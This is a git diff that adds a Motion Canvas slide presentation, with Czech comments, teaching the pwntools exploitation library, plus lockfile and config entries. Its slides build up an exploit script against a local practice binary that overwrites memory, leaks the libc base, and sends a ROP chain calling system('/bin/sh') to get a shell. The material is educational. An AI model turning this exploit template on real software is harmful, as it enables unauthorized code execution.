+ resolution: {integrity: sha512-f8KcQ1D80V7RnqVm+/lirO9zkOxjGxhaTC1IPrBGd3MEfNgmNG67tSUO9gTi2F3Blr2Az6g1vocaxzkVnWl9MA==}
+ dev: false
+
+ /is-extglob@2.1.1:
+ resolution: {integrity: sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==}
+ engines: {node: '>=0.10.0'}
+
+ /is-glob@4.0.3:
+ resolution: {integrity: sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==}
+ engines: {node: '>=0.10.0'}
+ dependencies:
+ is-extglob: 2.1.1
+
+ /is-number@7.0.0:
+ resolution: {integrity: sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==}
+ engines: {node: '>=0.12.0'}
+
+ /isexe@2.0.0:
+ resolution: {integrity: sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==}
+ dev: false
+
+ /mathjax-full@3.2.2:
+ resolution: {integrity: sha512-+LfG9Fik+OuI8SLwsiR02IVdjcnRCy5MufYLi0C3TdMT56L/pjB0alMVGgoWJF8pN9Rc7FESycZB9BMNWIid5w==}
+ dependencies:
+ esm: 3.2.25
+ mhchemparser: 4.2.1
+ mj-context-menu: 0.6.1
+ speech-rule-engine: 4.0.7
+ dev: false
+
+ /merge2@1.4.1:
+ resolution: {integrity: sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==}
+ engines: {node: '>= 8'}
+
+ /mhchemparser@4.2.1:
+ resolution: {integrity: sha512-kYmyrCirqJf3zZ9t/0wGgRZ4/ZJw//VwaRVGA75C4nhE60vtnIzhl9J9ndkX/h6hxSN7pjg/cE0VxbnNM+bnDQ==}
+ dev: false
+
+ /micromatch@4.0.5:
+ resolution: {integrity: sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==}
+ engines: {node: '>=8.6'}
+ dependencies:
+ braces: 3.0.2
+ picomatch: 2.3.1
+
+ /mime-db@1.52.0:
+ resolution: {integrity: sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==}
+ engines: {node: '>= 0.6'}
+
+ /mime-types@2.1.35:
+ resolution: {integrity: sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==}
+ engines: {node: '>= 0.6'}
+ dependencies:
+ mime-db: 1.52.0
+
+ /mj-context-menu@0.6.1:
+ resolution: {integrity: sha512-7NO5s6n10TIV96d4g2uDpG7ZDpIhMh0QNfGdJw/W47JswFcosz457wqz/b5sAKvl12sxINGFCn80NZHKwxQEXA==}
+ dev: false
+
+ /nanoid@3.3.7:
+ resolution: {integrity: sha512-eSRppjcPIatRIMC1U6UngP8XFcz8MQWGQdt1MTBQ7NaAmvXDfvNxbvWV3x2y6CdEUciCSsDHDQZbhYaB8QEo2g==}
+ engines: {node: ^10 || ^12 || ^13.7 || ^14 || >=15.0.1}
+ hasBin: true
+
+ /parse-svg-path@0.1.2:
+ resolution: {integrity: sha512-JyPSBnkTJ0AI8GGJLfMXvKq42cj5c006fnLz6fXy6zfoVjJizi8BNTpu8on8ziI1cKy9d9DGNuY17Ce7wuejpQ==}
+ dev: false
+
+ /picocolors@1.0.0:
+ resolution: {integrity: sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==}
+
+ /picomatch@2.3.1:
+ resolution: {integrity: sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==}
+ engines: {node: '>=8.6'}
+
+ /postcss@8.4.35:
+ resolution: {integrity: sha512-u5U8qYpBCpN13BsiEB0CbR1Hhh4Gc0zLFuedrHJKMctHCHAGrMdG0PRM/KErzAL3CU6/eckEtmHNB3x6e3c0vA==}
+ engines: {node: ^10 || ^12 || >=14}
+ dependencies:
+ nanoid: 3.3.7
+ picocolors: 1.0.0
+ source-map-js: 1.0.2
+
+ /preact@10.19.4:
+ resolution: {integrity: sha512-dwaX5jAh0Ga8uENBX1hSOujmKWgx9RtL80KaKUFLc6jb4vCEAc3EeZ0rnQO/FO4VgjfPMfoLFWnNG8bHuZ9VLw==}
+ dev: true
+
+ /queue-microtask@1.2.3:
+ resolution: {integrity: sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==}
+
+ /reusify@1.0.4:
+ resolution: {integrity: sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==}
+ engines: {iojs: '>=1.0.0', node: '>=0.10.0'}
+
+ /rollup@3.29.4:
+ resolution: {integrity: sha512-oWzmBZwvYrU0iJHtDmhsm662rC15FRXmcjCk1xD771dFDx5jJ02ufAQQTn0etB2emNk4J9EZg/yWKpsn9BWGRw==}
+ engines: {node: '>=14.18.0', npm: '>=8.0.0'}
+ hasBin: true
+ optionalDependencies:
+ fsevents: 2.3.3
+
+ /run-parallel@1.2.0:
+ resolution: {integrity: sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==}
+ dependencies:
+ queue-microtask: 1.2.3
+
+ /source-map-js@1.0.2:
+ resolution: {integrity: sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==}
+ engines: {node: '>=0.10.0'}
+
+ /source-map@0.6.1:
+ resolution: {integrity: sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==}
+ engines: {node: '>=0.10.0'}
+
+ /speech-rule-engine@4.0.7:
+ resolution: {integrity: sha512-sJrL3/wHzNwJRLBdf6CjJWIlxC04iYKkyXvYSVsWVOiC2DSkHmxsqOhEeMsBA9XK+CHuNcsdkbFDnoUfAsmp9g==}
+ hasBin: true
+ dependencies:
+ commander: 9.2.0
+ wicked-good-xpath: 1.3.0
+ xmldom-sre: 0.1.31
+ dev: false
+
+ /to-regex-range@5.0.1:
+ resolution: {integrity: sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==}
+ engines: {node: '>=8.0'}
+ dependencies:
+ is-number: 7.0.0
+
+ /typescript@5.3.3:
+ resolution: {integrity: sha512-pXWcraxM0uxAS+tN0AG/BF2TyqmHO014Z070UsJ+pFvYuRSq8KH8DmWpnbXe0pEPDHXZV3FcAbJkijJ5oNEnWw==}
+ engines: {node: '>=14.17'}
+ hasBin: true
+ dev: true
+
+ /vite@4.5.2:
+ resolution: {integrity: sha512-tBCZBNSBbHQkaGyhGCDUGqeo2ph8Fstyp6FMSvTtsXeZSPpSMGlviAOav2hxVTqFcx8Hj/twtWKsMJXNY0xI8w==}
+ engines: {node: ^14.18.0 || >=16.0.0}
+ hasBin: true
+ peerDependencies:
+ '@types/node': '>= 14'
+ less: '*'
+ lightningcss: ^1.21.0
+ sass: '*'
+ stylus: '*'
+ sugarss: '*'
+ terser: ^5.4.0
+ peerDependenciesMeta:
+ '@types/node':
+ optional: true
+ less:
+ optional: true
+ lightningcss:
+ optional: true
+ sass:
+ optional: true
+ stylus:
+ optional: true
+ sugarss:
+ optional: true
+ terser:
+ optional: true
+ dependencies:
+ esbuild: 0.18.20
+ postcss: 8.4.35
+ rollup: 3.29.4
+ optionalDependencies:
+ fsevents: 2.3.3
+
+ /vscode-oniguruma@1.7.0:
+ resolution: {integrity: sha512-L9WMGRfrjOhgHSdOYgCt/yRMsXzLDJSL7BPrOZt73gU0iWO4mpqzqQzOz5srxqTvMBaR0XZTSrVWo4j55Rc6cA==}
+ dev: false
+
+ /vscode-textmate@9.0.0:
+ resolution: {integrity: sha512-Cl65diFGxz7gpwbav10HqiY/eVYTO1sjQpmRmV991Bj7wAoOAjGQ97PpQcXorDE2Uc4hnGWLY17xme+5t6MlSg==}
+ dev: false
+
+ /which@1.3.1:
+ resolution: {integrity: sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==}
+ hasBin: true
+ dependencies:
+ isexe: 2.0.0
+ dev: false
+
+ /wicked-good-xpath@1.3.0:
+ resolution: {integrity: sha512-Gd9+TUn5nXdwj/hFsPVx5cuHHiF5Bwuc30jZ4+ronF1qHK5O7HD0sgmXWSEgwKquT3ClLoKPVbO6qGwVwLzvAw==}
+ dev: false
+
+ /xmldom-sre@0.1.31:
+ resolution: {integrity: sha512-f9s+fUkX04BxQf+7mMWAp5zk61pciie+fFLC9hX9UVvCeJQfNHRHXpeo5MPcR0EUf57PYLdt+ZO4f3Ipk2oZUw==}
+ engines: {node: '>=0.1'}
+ dev: false
diff --git a/pwntools/src/motion-canvas.d.ts b/pwntools/src/motion-canvas.d.ts
new file mode 100644
index 0000000..067c6a4
--- /dev/null
+++ b/pwntools/src/motion-canvas.d.ts
@@ -0,0 +1 @@
+///
diff --git a/pwntools/src/project.meta b/pwntools/src/project.meta
new file mode 100644
index 0000000..5ebc5fc
--- /dev/null
+++ b/pwntools/src/project.meta
@@ -0,0 +1,31 @@
+{
+ "version": 0,
+ "shared": {
+ "background": "rgb(40,44,52)",
+ "range": [
+ 0,
+ null
+ ],
+ "size": {
+ "x": 1920,
+ "y": 1080
+ },
+ "audioOffset": 0
+ },
+ "preview": {
+ "fps": 30,
+ "resolutionScale": 1
+ },
+ "rendering": {
+ "fps": 60,
+ "resolutionScale": 1,
+ "colorSpace": "srgb",
+ "exporter": {
+ "name": "@motion-canvas/ffmpeg",
+ "options": {
+ "fastStart": true,
+ "includeAudio": true
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/pwntools/src/project.ts b/pwntools/src/project.ts
new file mode 100644
index 0000000..9a3b4f9
--- /dev/null
+++ b/pwntools/src/project.ts
@@ -0,0 +1,7 @@
+import {makeProject} from '@motion-canvas/core';
+
+import main from './scenes/main?scene';
+
+export default makeProject({
+ scenes: [main],
+});
diff --git a/pwntools/src/scenes/main.meta b/pwntools/src/scenes/main.meta
new file mode 100644
index 0000000..df67094
--- /dev/null
+++ b/pwntools/src/scenes/main.meta
@@ -0,0 +1,5 @@
+{
+ "version": 0,
+ "timeEvents": [],
+ "seed": 1375324693
+}
\ No newline at end of file
diff --git a/pwntools/src/scenes/main.tsx b/pwntools/src/scenes/main.tsx
new file mode 100644
index 0000000..28115d6
--- /dev/null
+++ b/pwntools/src/scenes/main.tsx
@@ -0,0 +1,282 @@
+import {Circle, Layout, Ray, Rect, Txt, makeScene2D} from '@motion-canvas/2d';
+import { CodeBlock, lines } from '@motion-canvas/2d/lib/components/CodeBlock';
+import {Reference, all, beginSlide, createRef, createSignal} from '@motion-canvas/core';
+
+const BACKGROUND = '#282C34';
+const RED = '#E06C75';
+const GREEN = '#98C379';
+const YELLOW = '#E5C07B';
+const BLUE = '#61AFEF';
+const MAGENTA = '#C678DD';
+const CYAN = '#56B6C2';
+const GRAY = '#ABB2BF';
+const WHITE = '#FFFFFF';
+const BLACK = '#000000';
+
+export default makeScene2D(function* (view) {
+ let cref = createRef();
+ yield view.add(
+ );
+ yield* beginSlide("first");
+
+ cref().code(`from pwm import *
+
+context.arch = "amd64"
+context.terminal = ["tmux", "splitw", "-h"]
+# nebo "kitty" a podobně`);
+ yield* cref().fontSize(30, .1);
+ yield* beginSlide("setup");
+
+ cref().code(`from pwm import *
+
+context.arch = "amd64"
+context.terminal = ["tmux", "splitw", "-h"]
+# nebo "kitty" a podobně
+
+io = process(["./vuln"])
+#io = remote("host", port)
+#io = gdb.debug("./vuln")
+`);
+ yield* cref().fontSize(24, .1);
+
+ yield* beginSlide("setup2");
+
+
+ cref().code(`from pwm import *
+
+context.arch = "amd64"
+context.terminal = ["tmux", "splitw", "-h"]
+# nebo "kitty" a podobně
+
+io = process(["./vuln"])
+#io = remote("host", port)
+#io = gdb.debug("./vuln")
+
+bin = ELF("./vuln")
+libc = ELF("./libc.so.6")
+`);
+
+ yield* beginSlide("setup3");
+
+
+ cref().code(`from pwm import *
+
+context.arch = "amd64"
+context.terminal = ["tmux", "splitw", "-h"]
+# nebo "kitty" a podobně
+
+io = process(["./vuln"])
+#io = remote("host", port)
+#io = gdb.debug("./vuln")
+
+bin = ELF("./vuln")
+libc = ELF("./libc.so.6")
+
+io.recvuntil(b"Input: ")
+io.sendline(b"Hello, world!")
+`);
+
+ yield* beginSlide("io.sendline")
+
+ cref().code(`from pwm import *
+
+context.arch = "amd64"
+context.terminal = ["tmux", "splitw", "-h"]
+# nebo "kitty" a podobně
+
+io = process(["./vuln"])
+#io = remote("host", port)
+#io = gdb.debug("./vuln")
+
+bin = ELF("./vuln")
+libc = ELF("./libc.so.6")
+
+io.recvuntil(b"Input: ")
+io.sendline(b"Hello, world!")
+
+io.recvuntil(b"code: ")
+line = io.recvline()
+code = int(line.strip(), 16)
+`);
+
+ yield* beginSlide("code")
+
+
+ cref().code(`from pwm import *
+
+context.arch = "amd64"
+context.terminal = ["tmux", "splitw", "-h"]
+# nebo "kitty" a podobně
+
+io = process(["./vuln"])
+#io = remote("host", port)
+#io = gdb.debug("./vuln")
+
+bin = ELF("./vuln")
+libc = ELF("./libc.so.6")
+
+io.recvuntil(b"Input: ")
+io.sendline(b"Hello, world!")
+
+io.recvuntil(b"code: ")
+line = io.recvline()
+code = int(line.strip(), 16)
+
+io.sendline(flat({
+ 0x8: 1,
+ 72: code,
+}))
+`);
+
+ yield* beginSlide("flat")
+
+
+ cref().code(`from pwm import *
+
+context.arch = "amd64"
+context.terminal = ["tmux", "splitw", "-h"]
+# nebo "kitty" a podobně
+
+io = process(["./vuln"])
+#io = remote("host", port)
+#io = gdb.debug("./vuln")
+
+bin = ELF("./vuln")
+libc = ELF("./libc.so.6")
+
+io.recvuntil(b"Input: ")
+io.sendline(b"Hello, world!")
+
+io.recvuntil(b"code: ")
+line = io.recvline()
+code = int(line.strip(), 16)
+
+io.sendline(flat({
+ 0x8: 1,
+ 72: code,
+}))
+
+offset = int(io.recvline(), 16)
+libc.address = offset
+`);
+
+ yield* beginSlide("offset")
+
+
+ cref().code(`from pwm import *
+
+context.arch = "amd64"
+context.terminal = ["tmux", "splitw", "-h"]
+# nebo "kitty" a podobně
+
+io = process(["./vuln"])
+#io = remote("host", port)
+#io = gdb.debug("./vuln")
+
+bin = ELF("./vuln")
+libc = ELF("./libc.so.6")
+
+io.recvuntil(b"Input: ")
+io.sendline(b"Hello, world!")
+
+io.recvuntil(b"code: ")
+line = io.recvline()
+code = int(line.strip(), 16)
+
+io.sendline(flat({
+ 0x8: 1,
+ 72: code,
+}))
+
+offset = int(io.recvline(), 16)
+libc.address = offset
+
+rop = ROP(libc, badchars=b'\\n')
+rop.call(libc.sym["system"], [next(libc.search(b"/bin/sh"))])
+rop.call(libc.sym["exit"], [0])
+`);
+
+ yield* beginSlide("rop")
+
+
+ cref().code(`from pwm import *
+
+context.arch = "amd64"
+context.terminal = ["tmux", "splitw", "-h"]
+# nebo "kitty" a podobně
+
+io = process(["./vuln"])
+#io = remote("host", port)
+#io = gdb.debug("./vuln")
+
+bin = ELF("./vuln")
+libc = ELF("./libc.so.6")
+
+io.recvuntil(b"Input: ")
+io.sendline(b"Hello, world!")
+
+io.recvuntil(b"code: ")
+line = io.recvline()
+code = int(line.strip(), 16)
+
+io.sendline(flat({
+ 0x8: 1,
+ 72: code,
+}))
+
+offset = int(io.recvline(), 16)
+libc.address = offset
+
+rop = ROP(libc, badchars=b'\\n')
+rop.call(libc.sym["system"], [next(libc.search(b"/bin/sh"))])
+rop.call(libc.sym["exit"], [0])
+
+io.sendline(rop.chain())
+`);
+
+ yield* beginSlide("send rop")
+
+
+ cref().code(`from pwm import *
+
+context.arch = "amd64"
+context.terminal = ["tmux", "splitw", "-h"]
+# nebo "kitty" a podobně
+
+io = process(["./vuln"])
+#io = remote("host", port)
+#io = gdb.debug("./vuln")
+
+bin = ELF("./vuln")
+libc = ELF("./libc.so.6")
+
+io.recvuntil(b"Input: ")
+io.sendline(b"Hello, world!")
+
+io.recvuntil(b"code: ")
+line = io.recvline()
+code = int(line.strip(), 16)
+
+io.sendline(flat({
+ 0x8: 1,
+ 72: code,
+}))
+
+offset = int(io.recvline(), 16)
+libc.address = offset
+
+rop = ROP(libc, badchars=b'\\n')
+rop.call(libc.sym["system"], [next(libc.search(b"/bin/sh"))])
+rop.call(libc.sym["exit"], [0])
+
+io.sendline(rop.chain())
+
+io.interactive()
+`);
+
+ yield* beginSlide("interactive")
+});
diff --git a/pwntools/tsconfig.json b/pwntools/tsconfig.json
new file mode 100644
index 0000000..e7d5347
--- /dev/null
+++ b/pwntools/tsconfig.json
@@ -0,0 +1,4 @@
+{
+ "extends": "@motion-canvas/2d/tsconfig.project.json",
+ "include": ["src"]
+}
diff --git a/pwntools/vite.config.ts b/pwntools/vite.config.ts
new file mode 100644
index 0000000..42d9d68
--- /dev/null
+++ b/pwntools/vite.config.ts
@@ -0,0 +1,10 @@
+import {defineConfig} from 'vite';
+import motionCanvas from '@motion-canvas/vite-plugin';
+import ffmpeg from '@motion-canvas/ffmpeg';
+
+export default defineConfig({
+ plugins: [
+ motionCanvas(),
+ ffmpeg(),
+ ],
+});